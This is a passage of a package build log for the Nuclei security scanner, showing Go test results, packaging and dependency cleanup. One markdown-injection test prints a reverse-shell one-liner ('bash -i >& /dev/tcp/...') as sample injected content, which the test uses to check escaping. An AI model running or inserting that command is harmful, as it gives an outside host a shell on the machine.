Screenshot successfully saved at /tmp/screenshot-855/test.png --- PASS: TestActionScreenshotToDir (3.42s) === RUN TestActionTimeInput --- PASS: TestActionTimeInput (6.40s) === RUN TestActionSelectInput --- PASS: TestActionSelectInput (6.41s) === RUN TestActionFilesInput --- PASS: TestActionFilesInput (6.37s) === RUN TestActionFilesInputNegative --- PASS: TestActionFilesInputNegative (6.34s) === RUN TestActionWaitLoad --- PASS: TestActionWaitLoad (6.36s) === RUN TestActionGetResource --- PASS: TestActionGetResource (1.77s) === RUN TestActionExtract --- PASS: TestActionExtract (1.38s) === RUN TestActionSetMethod --- PASS: TestActionSetMethod (1.35s) === RUN TestActionAddHeader --- PASS: TestActionAddHeader (6.38s) === RUN TestActionDeleteHeader --- PASS: TestActionDeleteHeader (6.37s) === RUN TestActionSetBody --- PASS: TestActionSetBody (6.35s) === RUN TestActionKeyboard --- PASS: TestActionKeyboard (6.42s) === RUN TestActionSleep --- PASS: TestActionSleep (3.35s) === RUN TestActionWaitVisible === RUN TestActionWaitVisible/wait_for_an_element_being_visible === RUN TestActionWaitVisible/timeout_because_of_element_not_visible --- PASS: TestActionWaitVisible (4.70s) --- PASS: TestActionWaitVisible/wait_for_an_element_being_visible (2.38s) --- PASS: TestActionWaitVisible/timeout_because_of_element_not_visible (2.32s) === RUN TestActionWaitDialog === RUN TestActionWaitDialog/Triggered === RUN TestActionWaitDialog/Invalid --- PASS: TestActionWaitDialog (3.68s) --- PASS: TestActionWaitDialog/Triggered (1.37s) --- PASS: TestActionWaitDialog/Invalid (2.32s) === RUN TestContainsAnyModificationActionType --- PASS: TestContainsAnyModificationActionType (0.00s) === RUN TestBlockedHeadlessURLS --- PASS: TestBlockedHeadlessURLS (3.27s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine 130.221s === RUN TestMakeRequestFromModal --- PASS: TestMakeRequestFromModal (0.06s) === RUN TestMakeRequestFromModalTrimSuffixSlash --- PASS: TestMakeRequestFromModalTrimSuffixSlash (0.00s) === RUN TestMakeRequestFromRawWithPayloads --- PASS: TestMakeRequestFromRawWithPayloads (0.00s) === RUN TestMakeRequestFromRawPayloadExpressions --- PASS: TestMakeRequestFromRawPayloadExpressions (0.00s) === RUN TestMakeRequestFromModelUniqueInteractsh [INF] Using Interactsh Server: oast.fun --- PASS: TestMakeRequestFromModelUniqueInteractsh (1.33s) === RUN TestCanCluster --- PASS: TestCanCluster (0.00s) === RUN TestHTTPCompile --- PASS: TestHTTPCompile (0.00s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestHTTPOperatorMatch === RUN TestHTTPOperatorMatch/valid === RUN TestHTTPOperatorMatch/negative === RUN TestHTTPOperatorMatch/invalid === RUN TestHTTPOperatorMatch/caseInsensitive --- PASS: TestHTTPOperatorMatch (0.00s) --- PASS: TestHTTPOperatorMatch/valid (0.00s) --- PASS: TestHTTPOperatorMatch/negative (0.00s) --- PASS: TestHTTPOperatorMatch/invalid (0.00s) --- PASS: TestHTTPOperatorMatch/caseInsensitive (0.00s) === RUN TestHTTPOperatorExtract === RUN TestHTTPOperatorExtract/extract === RUN TestHTTPOperatorExtract/kval === RUN TestHTTPOperatorExtract/json === RUN TestHTTPOperatorExtract/json/jq-simple === RUN TestHTTPOperatorExtract/json/jq-array === RUN TestHTTPOperatorExtract/json/jq-object === RUN TestHTTPOperatorExtract/caseInsensitive --- PASS: TestHTTPOperatorExtract (0.01s) --- PASS: TestHTTPOperatorExtract/extract (0.00s) --- PASS: TestHTTPOperatorExtract/kval (0.00s) --- PASS: TestHTTPOperatorExtract/json (0.00s) --- PASS: TestHTTPOperatorExtract/json/jq-simple (0.00s) --- PASS: TestHTTPOperatorExtract/json/jq-array (0.00s) --- PASS: TestHTTPOperatorExtract/json/jq-object (0.00s) --- PASS: TestHTTPOperatorExtract/caseInsensitive (0.00s) === RUN TestHTTPMakeResult --- PASS: TestHTTPMakeResult (0.00s) === RUN TestRequestParseAnnotationsSNI === RUN TestRequestParseAnnotationsSNI/compliant-SNI-value === RUN TestRequestParseAnnotationsSNI/non-compliant-SNI-value --- PASS: TestRequestParseAnnotationsSNI (0.00s) --- PASS: TestRequestParseAnnotationsSNI/compliant-SNI-value (0.00s) --- PASS: TestRequestParseAnnotationsSNI/non-compliant-SNI-value (0.00s) === RUN TestRequestParseAnnotationsTimeout === RUN TestRequestParseAnnotationsTimeout/positive === RUN TestRequestParseAnnotationsTimeout/negative --- PASS: TestRequestParseAnnotationsTimeout (0.00s) --- PASS: TestRequestParseAnnotationsTimeout/positive (0.00s) --- PASS: TestRequestParseAnnotationsTimeout/negative (0.00s) === RUN TestRequestGeneratorPaths --- PASS: TestRequestGeneratorPaths (0.00s) === RUN TestRequestGeneratorClusterBombSingle --- PASS: TestRequestGeneratorClusterBombSingle (0.00s) === RUN TestRequestGeneratorClusterBombMultipleRaw --- PASS: TestRequestGeneratorClusterBombMultipleRaw (0.00s) === RUN TestHTTPExtractMultipleReuse === RUN TestHTTPExtractMultipleReuse/test --- PASS: TestHTTPExtractMultipleReuse (0.02s) --- PASS: TestHTTPExtractMultipleReuse/test (0.01s) === RUN TestDisableTE === RUN TestDisableTE/test === RUN TestDisableTE/test2 --- PASS: TestDisableTE (0.01s) --- PASS: TestDisableTE/test (0.00s) --- PASS: TestDisableTE/test2 (0.00s) === RUN TestReqURLPattern === RUN TestReqURLPattern/test [INF] Using Interactsh Server: oast.fun --- PASS: TestReqURLPattern (7.36s) --- PASS: TestReqURLPattern/test (1.28s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/http 10.357s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httputils [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/race [no test files] === RUN TestParseRawRequestWithPort === RUN TestParseRawRequestWithPort/path-suffix === RUN TestParseRawRequestWithPort/query-values --- PASS: TestParseRawRequestWithPort (0.00s) --- PASS: TestParseRawRequestWithPort/path-suffix (0.00s) --- PASS: TestParseRawRequestWithPort/query-values (0.00s) === RUN TestParseRawRequest --- PASS: TestParseRawRequest (0.00s) === RUN TestParseUnsafeRequestWithPath --- PASS: TestParseUnsafeRequestWithPath (0.00s) === RUN TestTryFillCustomHeaders --- PASS: TestTryFillCustomHeaders (0.00s) === RUN TestDisableMergePath --- PASS: TestDisableMergePath (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/raw 1.293s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signer [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signerpool [no test files] === RUN TestCompile --- PASS: TestCompile (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/javascript 1.615s === RUN TestNetworkCompileMake === RUN TestNetworkCompileMake/check-tls-with-port --- PASS: TestNetworkCompileMake (0.01s) --- PASS: TestNetworkCompileMake/check-tls-with-port (0.00s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestNetworkOperatorMatch === RUN TestNetworkOperatorMatch/valid === RUN TestNetworkOperatorMatch/negative === RUN TestNetworkOperatorMatch/invalid === RUN TestNetworkOperatorMatch/caseInsensitive --- PASS: TestNetworkOperatorMatch (0.00s) --- PASS: TestNetworkOperatorMatch/valid (0.00s) --- PASS: TestNetworkOperatorMatch/negative (0.00s) --- PASS: TestNetworkOperatorMatch/invalid (0.00s) --- PASS: TestNetworkOperatorMatch/caseInsensitive (0.00s) === RUN TestNetworkOperatorExtract === RUN TestNetworkOperatorExtract/extract === RUN TestNetworkOperatorExtract/kval --- PASS: TestNetworkOperatorExtract (0.00s) --- PASS: TestNetworkOperatorExtract/extract (0.00s) --- PASS: TestNetworkOperatorExtract/kval (0.00s) === RUN TestNetworkMakeResult --- PASS: TestNetworkMakeResult (0.00s) === RUN TestNetworkExecuteWithResults === RUN TestNetworkExecuteWithResults/domain-valid === RUN TestNetworkExecuteWithResults/invalid-port-override === RUN TestNetworkExecuteWithResults/hex-to-string --- PASS: TestNetworkExecuteWithResults (0.01s) --- PASS: TestNetworkExecuteWithResults/domain-valid (0.00s) --- PASS: TestNetworkExecuteWithResults/invalid-port-override (0.00s) --- PASS: TestNetworkExecuteWithResults/hex-to-string (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/network 1.595s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/network/networkclientpool [no test files] === RUN TestFindResponses --- PASS: TestFindResponses (0.01s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestHTTPOperatorMatch === RUN TestHTTPOperatorMatch/valid === RUN TestHTTPOperatorMatch/negative === RUN TestHTTPOperatorMatch/invalid --- PASS: TestHTTPOperatorMatch (0.00s) --- PASS: TestHTTPOperatorMatch/valid (0.00s) --- PASS: TestHTTPOperatorMatch/negative (0.00s) --- PASS: TestHTTPOperatorMatch/invalid (0.00s) === RUN TestHTTPOperatorExtract === RUN TestHTTPOperatorExtract/extract === RUN TestHTTPOperatorExtract/kval --- PASS: TestHTTPOperatorExtract (0.00s) --- PASS: TestHTTPOperatorExtract/extract (0.00s) --- PASS: TestHTTPOperatorExtract/kval (0.00s) === RUN TestHTTPMakeResult --- PASS: TestHTTPMakeResult (0.00s) === RUN TestReadResponseFromString === RUN TestReadResponseFromString/response === RUN TestReadResponseFromString/response-http2-without-minor-version === RUN TestReadResponseFromString/response-http2-with-minor-version === RUN TestReadResponseFromString/request-response === RUN TestReadResponseFromString/request-response-without-minor-version === RUN TestReadResponseFromString/test-live-response-with-content-length --- PASS: TestReadResponseFromString (0.01s) --- PASS: TestReadResponseFromString/response (0.00s) --- PASS: TestReadResponseFromString/response-http2-without-minor-version (0.00s) --- PASS: TestReadResponseFromString/response-http2-with-minor-version (0.00s) --- PASS: TestReadResponseFromString/request-response (0.00s) --- PASS: TestReadResponseFromString/request-response-without-minor-version (0.00s) --- PASS: TestReadResponseFromString/test-live-response-with-content-length (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/offlinehttp 1.583s === RUN TestSSLProtocol --- PASS: TestSSLProtocol (0.45s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/ssl 2.032s === RUN TestCalculateContentLength === RUN TestCalculateContentLength/content-length-header === RUN TestCalculateContentLength/content-length-header-with-body-length === RUN TestCalculateContentLength/no-content-length-header-with-body-length === RUN TestCalculateContentLength/content-length-header-without-body-length --- PASS: TestCalculateContentLength (0.00s) --- PASS: TestCalculateContentLength/content-length-header (0.00s) --- PASS: TestCalculateContentLength/content-length-header-with-body-length (0.00s) --- PASS: TestCalculateContentLength/no-content-length-header-with-body-length (0.00s) --- PASS: TestCalculateContentLength/content-length-header-without-body-length (0.00s) === RUN TestHTTPVariables --- PASS: TestHTTPVariables (0.00s) === RUN TestGenerateDNSVariables --- PASS: TestGenerateDNSVariables (0.00s) === RUN TestGenerateVariablesForDNS --- PASS: TestGenerateVariablesForDNS (0.00s) === RUN TestGenerateVariablesForTCP --- PASS: TestGenerateVariablesForTCP (0.00s) === RUN TestGenerateWhoISVariables --- PASS: TestGenerateWhoISVariables (0.00s) === RUN TestGetWebsocketVariables --- PASS: TestGetWebsocketVariables (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils 1.300s === RUN TestTrailingSlash --- PASS: TestTrailingSlash (0.00s) === RUN TestPortUpdate --- PASS: TestPortUpdate (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils/http 1.292s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/websocket [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/whois [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/whois/rdapclientpool [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting [no test files] === RUN TestDedupeDuplicates --- PASS: TestDedupeDuplicates (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/reporting/dedupe 1.332s ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown [no test files] === RUN TestMarkDownHeaderCreation === RUN TestMarkDownHeaderCreation/#00 === RUN TestMarkDownHeaderCreation/#01 === RUN TestMarkDownHeaderCreation/one === RUN TestMarkDownHeaderCreation/one,two === RUN TestMarkDownHeaderCreation/one,two,three --- PASS: TestMarkDownHeaderCreation (0.00s) --- PASS: TestMarkDownHeaderCreation/#00 (0.00s) --- PASS: TestMarkDownHeaderCreation/#01 (0.00s) --- PASS: TestMarkDownHeaderCreation/one (0.00s) --- PASS: TestMarkDownHeaderCreation/one,two (0.00s) --- PASS: TestMarkDownHeaderCreation/one,two,three (0.00s) === RUN TestCreateTemplateInfoTableTooManyColumns --- PASS: TestCreateTemplateInfoTableTooManyColumns (0.00s) === RUN TestCreateTemplateInfoTable1Column --- PASS: TestCreateTemplateInfoTable1Column (0.00s) === RUN TestCreateTemplateInfoTable2Columns --- PASS: TestCreateTemplateInfoTable2Columns (0.00s) === RUN TestCreateTemplateInfoTable3Columns --- PASS: TestCreateTemplateInfoTable3Columns (0.00s) === RUN TestEscapeCodeBlockMarkdown === RUN TestEscapeCodeBlockMarkdown/no_special_characters === RUN TestEscapeCodeBlockMarkdown/with_backticks === RUN TestEscapeCodeBlockMarkdown/with_backslashes === RUN TestEscapeCodeBlockMarkdown/with_both_backticks_and_backslashes === RUN TestEscapeCodeBlockMarkdown/with_code_block === RUN TestEscapeCodeBlockMarkdown/with_escaped_backtick === RUN TestEscapeCodeBlockMarkdown/with_multiple_consecutive_backticks --- PASS: TestEscapeCodeBlockMarkdown (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/no_special_characters (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_backticks (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_backslashes (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_both_backticks_and_backslashes (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_code_block (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_escaped_backtick (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_multiple_consecutive_backticks (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util 1.037s ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/sarif [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/splunk [no test files] === RUN TestToMarkdownTableString --- PASS: TestToMarkdownTableString (0.00s) === RUN TestCreateReportDescription_MarkdownInjection **Details**: **test-template** matched at example.com **Protocol**: HTTP **Full URL**: https://example.com/vulnerable **Timestamp**: Mon Jan 1 00:00:00 +0000 UTC 0001 **Template Information** | Key | Value | | --- | --- | | Name | Test Template | | Authors | researcher | | Tags | test | | Severity | high | **Request** ```http GET / HTTP/1.1 Host: example.com ``` **Response** ```http HTTP/1.1 200 OK Content-Type: text/html Hello, world \`\`\` References: - https://rce.ee/pwned **CURL command** \`\`\`sh bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 \`\`\` ``` **CURL command** ```sh curl -X GET https://example.com ``` ---- Generated by [Nuclei v3.4.10](https://github.com/projectdiscovery/nuclei) --- PASS: TestCreateReportDescription_MarkdownInjection (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/reporting/format 1.314s ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/filters [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/gitea [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/github [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/gitlab [no test files] === RUN TestLinkCreation --- PASS: TestLinkCreation (0.00s) === RUN TestHorizontalLineCreation --- PASS: TestHorizontalLineCreation (0.00s) === RUN TestTableCreation --- PASS: TestTableCreation (0.00s) === RUN Test_ShouldFilter_Tracker === RUN Test_ShouldFilter_Tracker/deny-list --- PASS: Test_ShouldFilter_Tracker (0.00s) --- PASS: Test_ShouldFilter_Tracker/deny-list (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/jira 1.329s ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/linear [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/linear/jsonutil [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/scan [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/scan/charts [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/scan/events [no test files] === RUN TestCache --- PASS: TestCache (0.00s) === RUN TestClusterTemplates === RUN TestClusterTemplates/http-cluster-get === RUN TestClusterTemplates/no-http-cluster === RUN TestClusterTemplates/dns-cluster --- PASS: TestClusterTemplates (0.00s) --- PASS: TestClusterTemplates/http-cluster-get (0.00s) --- PASS: TestClusterTemplates/no-http-cluster (0.00s) --- PASS: TestClusterTemplates/dns-cluster (0.00s) === RUN Test_appendAtSignToAuthors --- PASS: Test_appendAtSignToAuthors (0.00s) === RUN Test_appendAtSignToMissingAuthors --- PASS: Test_appendAtSignToMissingAuthors (0.00s) === RUN Test_appendAtSignToOneAuthor --- PASS: Test_appendAtSignToOneAuthor (0.00s) === RUN TestLoadTemplate === RUN TestLoadTemplate/valid === RUN TestLoadTemplate/emptyTemplate === RUN TestLoadTemplate/emptyNameWithInvalidID === RUN TestLoadTemplate/emptySeverity === RUN TestLoadTemplate/template-without-severity-with-correct-filter-id === RUN TestLoadTemplate/template-without-severity-with-diff-filter-id === RUN TestLoadTemplate/invalidTemplateID === RUN TestLoadTemplate/invalidTemplateID/regexp0 === RUN TestLoadTemplate/invalidTemplateID/regexp1 === RUN TestLoadTemplate/invalidTemplateID/regexp2 === RUN TestLoadTemplate/invalidTemplateID/regexp3 === RUN TestLoadTemplate/invalidTemplateID/regexp4 === RUN TestLoadTemplate/invalidTemplateID/regexp5 === RUN TestLoadTemplate/invalidTemplateID/regexp6 === RUN TestLoadTemplate/invalidTemplateID/regexp7 === RUN TestLoadTemplate/invalidTemplateID/regexp8 === RUN TestLoadTemplate/invalidTemplateID/regexp9 === RUN TestLoadTemplate/invalidTemplateID/regexp10 --- PASS: TestLoadTemplate (0.00s) --- PASS: TestLoadTemplate/valid (0.00s) --- PASS: TestLoadTemplate/emptyTemplate (0.00s) --- PASS: TestLoadTemplate/emptyNameWithInvalidID (0.00s) --- PASS: TestLoadTemplate/emptySeverity (0.00s) --- PASS: TestLoadTemplate/template-without-severity-with-correct-filter-id (0.00s) --- PASS: TestLoadTemplate/template-without-severity-with-diff-filter-id (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp0 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp1 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp2 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp3 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp4 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp5 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp6 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp7 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp8 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp9 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp10 (0.00s) === RUN TestTagBasedFilter === RUN TestTagBasedFilter/true === RUN TestTagBasedFilter/false === RUN TestTagBasedFilter/match-extra-tags-positive === RUN TestTagBasedFilter/match-extra-tags-negative === RUN TestTagBasedFilter/not-match-excludes === RUN TestTagBasedFilter/match-includes === RUN TestTagBasedFilter/match-includes#01 === RUN TestTagBasedFilter/match-author === RUN TestTagBasedFilter/match-severity === RUN TestTagBasedFilter/match-id === RUN TestTagBasedFilter/match-exclude-severity === RUN TestTagBasedFilter/match-exclude-with-tags === RUN TestTagBasedFilter/match-conditions === RUN TestTagBasedFilter/match-type === RUN TestTagBasedFilter/match-exclude-id === RUN TestTagBasedFilter/match-exclude-type === RUN TestTagBasedFilter/advanced-filtering-positive === RUN TestTagBasedFilter/advanced-filtering-negative === RUN TestTagBasedFilter/template-condition --- PASS: TestTagBasedFilter (0.01s) --- PASS: TestTagBasedFilter/true (0.00s) --- PASS: TestTagBasedFilter/false (0.00s) --- PASS: TestTagBasedFilter/match-extra-tags-positive (0.00s) --- PASS: TestTagBasedFilter/match-extra-tags-negative (0.00s) --- PASS: TestTagBasedFilter/not-match-excludes (0.00s) --- PASS: TestTagBasedFilter/match-includes (0.00s) --- PASS: TestTagBasedFilter/match-includes#01 (0.00s) --- PASS: TestTagBasedFilter/match-author (0.00s) --- PASS: TestTagBasedFilter/match-severity (0.00s) --- PASS: TestTagBasedFilter/match-id (0.00s) --- PASS: TestTagBasedFilter/match-exclude-severity (0.00s) --- PASS: TestTagBasedFilter/match-exclude-with-tags (0.00s) --- PASS: TestTagBasedFilter/match-conditions (0.00s) --- PASS: TestTagBasedFilter/match-type (0.00s) --- PASS: TestTagBasedFilter/match-exclude-id (0.00s) --- PASS: TestTagBasedFilter/match-exclude-type (0.00s) --- PASS: TestTagBasedFilter/advanced-filtering-positive (0.00s) --- PASS: TestTagBasedFilter/advanced-filtering-negative (0.00s) --- PASS: TestTagBasedFilter/template-condition (0.00s) === RUN TestTemplateStruct --- PASS: TestTemplateStruct (0.02s) === RUN Test_ParseFromURL --- PASS: Test_ParseFromURL (0.06s) === RUN Test_ParseFromFile --- PASS: Test_ParseFromFile (0.00s) === RUN Test_ParseWorkflow --- PASS: Test_ParseWorkflow (0.00s) === RUN Test_WrongTemplate --- PASS: Test_WrongTemplate (0.00s) === RUN TestWrongWorkflow --- PASS: TestWrongWorkflow (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/templates 1.612s ? github.com/projectdiscovery/nuclei/v3/pkg/templates/extensions [no test files] === RUN TestKeyHandler --- PASS: TestKeyHandler (1.04s) === RUN TestTemplateSignerSignAndVerify === RUN TestTemplateSignerSignAndVerify/Simple_template === RUN TestTemplateSignerSignAndVerify/Template_with_imports === RUN TestTemplateSignerSignAndVerify/Template_with_code_protocol === RUN TestTemplateSignerSignAndVerify/Tampered_template === RUN TestTemplateSignerSignAndVerify/Invalid_signature --- PASS: TestTemplateSignerSignAndVerify (0.00s) --- PASS: TestTemplateSignerSignAndVerify/Simple_template (0.00s) --- PASS: TestTemplateSignerSignAndVerify/Template_with_imports (0.00s) --- PASS: TestTemplateSignerSignAndVerify/Template_with_code_protocol (0.00s) --- PASS: TestTemplateSignerSignAndVerify/Tampered_template (0.00s) --- PASS: TestTemplateSignerSignAndVerify/Invalid_signature (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/templates/signer 2.116s ? github.com/projectdiscovery/nuclei/v3/pkg/templates/types [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/testutils [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/testutils/fuzzplayground [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/testutils/testheadless [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/tmplexec [no test files] === RUN TestFlowTemplateWithIndex --- PASS: TestFlowTemplateWithIndex (0.05s) === RUN TestFlowTemplateWithID --- PASS: TestFlowTemplateWithID (0.07s) === RUN TestFlowWithProtoPrefix --- PASS: TestFlowWithProtoPrefix (0.03s) === RUN TestFlowWithConditionNegative --- PASS: TestFlowWithConditionNegative (0.06s) === RUN TestFlowWithConditionPositive --- PASS: TestFlowWithConditionPositive (0.07s) === RUN TestFlowWithNoMatchers === RUN TestFlowWithNoMatchers/Contains_Extractor --- PASS: TestFlowWithNoMatchers (0.72s) --- PASS: TestFlowWithNoMatchers/Contains_Extractor (0.60s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/flow 2.516s ? github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/flow/builtin [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/generic [no test files] === RUN TestMultiProtoWithDynamicExtractor --- PASS: TestMultiProtoWithDynamicExtractor (0.43s) === RUN TestMultiProtoWithProtoPrefix --- PASS: TestMultiProtoWithProtoPrefix (0.52s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/multiproto 2.483s ? github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/utils [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/types [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/types/nucleierr [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/types/scanstrategy [no test files] === RUN TestUnmarshalInsertionOrderedMapYAML --- PASS: TestUnmarshalInsertionOrderedMapYAML (0.00s) === RUN TestUnwrapError --- PASS: TestUnwrapError (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/utils 1.256s ? github.com/projectdiscovery/nuclei/v3/pkg/utils/expand [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/utils/json [no test files] === RUN TestMonitorCompareStringSliceEqual --- PASS: TestMonitorCompareStringSliceEqual (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/utils/monitor 1.027s ? github.com/projectdiscovery/nuclei/v3/pkg/utils/stats [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/utils/yaml [no test files] === RUN TestWorkflowMatchAndCompile === RUN TestWorkflowMatchAndCompile/name === RUN TestWorkflowMatchAndCompile/name-negative === RUN TestWorkflowMatchAndCompile/names-or === RUN TestWorkflowMatchAndCompile/names-and --- PASS: TestWorkflowMatchAndCompile (0.00s) --- PASS: TestWorkflowMatchAndCompile/name (0.00s) --- PASS: TestWorkflowMatchAndCompile/name-negative (0.00s) --- PASS: TestWorkflowMatchAndCompile/names-or (0.00s) --- PASS: TestWorkflowMatchAndCompile/names-and (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/workflows 1.465s >>> nuclei: Entering fakeroot... >>> nuclei-doc*: Running split function doc... 'usr/share/licenses' -> '/home/buildozer/aports/testing/nuclei/pkg/nuclei-doc/usr/share/licenses' >>> nuclei-doc*: Preparing subpackage nuclei-doc... >>> nuclei-doc*: Running postcheck for nuclei-doc >>> nuclei*: Running postcheck for nuclei >>> nuclei*: Preparing package nuclei... >>> nuclei*: Stripping binaries >>> nuclei-doc*: Scanning shared objects >>> nuclei*: Scanning shared objects >>> nuclei-doc*: Tracing dependencies... >>> nuclei-doc*: Package size: 1.1 KB >>> nuclei-doc*: Compressing data... >>> nuclei-doc*: Create checksum... >>> nuclei-doc*: Create nuclei-doc-3.4.10-r0.apk >>> nuclei*: Tracing dependencies... >>> nuclei*: Package size: 85.3 MB >>> nuclei*: Compressing data... >>> nuclei*: Create checksum... >>> nuclei*: Create nuclei-3.4.10-r0.apk >>> nuclei: Build complete at Mon, 25 Aug 2025 17:45:05 +0000 elapsed time 0h 3m 38s >>> nuclei: Cleaning up srcdir >>> nuclei: Cleaning up pkgdir >>> nuclei: Uninstalling dependencies... ( 1/160) Purging .makedepends-nuclei (20250825.174128) ( 2/160) Purging go (1.25.0-r0) ( 3/160) Purging chromium (139.0.7258.138-r0) ( 4/160) Purging chromium-common (139.0.7258.138-r0) ( 5/160) Purging chromium-angle (139.0.7258.138-r0) ( 6/160) Purging font-opensans (0_git20210927-r1) ( 7/160) Purging mkfontscale (1.2.3-r1) ( 8/160) Purging gtk+3.0 (3.24.50-r0) gtk+3.0-3.24.50-r0.post-deinstall: Executing script... ( 9/160) Purging gobject-introspection (1.84.0-r1) ( 10/160) Purging gtk-update-icon-cache (3.24.50-r0) ( 11/160) Purging hicolor-icon-theme (0.18-r0) ( 12/160) Purging icu-data-full (76.1-r1) ( 13/160) Purging mesa-dri-gallium (25.2.1-r0) ( 14/160) Purging xdg-utils (1.2.1-r1) ( 15/160) Purging xprop (1.2.8-r0) ( 16/160) Purging xset (1.2.5-r1) ( 17/160) Purging at-spi2-core (2.56.4-r1) ( 18/160) Purging cairo-gobject (1.18.4-r0) ( 19/160) Purging crc32c (1.1.2-r2) ( 20/160) Purging cups-libs (2.4.12-r0) ( 21/160) Purging double-conversion (3.3.1-r0) ( 22/160) Purging ffmpeg-libavformat (6.1.2-r5) ( 23/160) Purging gdk-pixbuf (2.42.12-r2) gdk-pixbuf-2.42.12-r2.pre-deinstall: Executing script... ( 24/160) Purging shared-mime-info (2.4-r6) shared-mime-info-2.4-r6.post-deinstall: Executing script... ( 25/160) Purging harfbuzz-subset (11.3.2-r0) ( 26/160) Purging libatk-bridge-2.0 (2.56.4-r1) ( 27/160) Purging libbluray (1.3.4-r1) ( 28/160) Purging libepoxy (1.5.10-r1) ( 29/160) Purging libfontenc (1.1.8-r0) ( 30/160) Purging libopenmpt (0.8.2-r0) ( 31/160) Purging libpulse (17.0-r5) ( 32/160) Purging librist (0.2.10-r1) ( 33/160) Purging libsrt (1.5.3-r1) ( 34/160) Purging libssh (0.11.2-r0) ( 35/160) Purging libwebpdemux (1.6.0-r0) ( 36/160) Purging libxcomposite (0.4.6-r5) ( 37/160) Purging libxcursor (1.2.3-r0) ( 38/160) Purging libxdamage (1.1.6-r5) ( 39/160) Purging libxinerama (1.1.5-r4) ( 40/160) Purging libxkbcommon 